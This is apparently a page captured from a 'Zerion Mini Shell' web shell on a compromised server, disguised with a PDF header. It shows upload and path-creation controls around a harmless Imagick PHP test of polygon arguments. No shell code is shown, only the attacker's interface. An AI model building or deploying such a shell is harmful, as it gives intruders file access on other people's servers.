%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/cpanel/ea-php73/root/usr/share/tests/pecl/imagick/tests/
Upload File :
Create Path :
Current File : //proc/self/root/opt/cpanel/ea-php73/root/usr/share/tests/pecl/imagick/tests/011_polygon.phpt

--TEST--
Test polygon method arguments
--SKIPIF--
<?php require_once(dirname(__FILE__) . '/skipif.inc'); ?>
--FILE--
<?php

$im = new Imagick();
$draw = new ImagickDraw();

try {
	$draw->polygon(array( 
					array('x' => 1, 'y' => 2),
					array('x' => 'hello', 'y' => array())
			 		));

	echo "pass\n";

} catch (Exception $e) {
	echo "fail\n";
}

try {
	$draw->polygon(array(array()));
	echo "fail\n";
} catch (ImagickDrawException $e) {
	echo "pass\n";
}

?>
--EXPECTF--
pass
pass

Zerion Mini Shell 1.0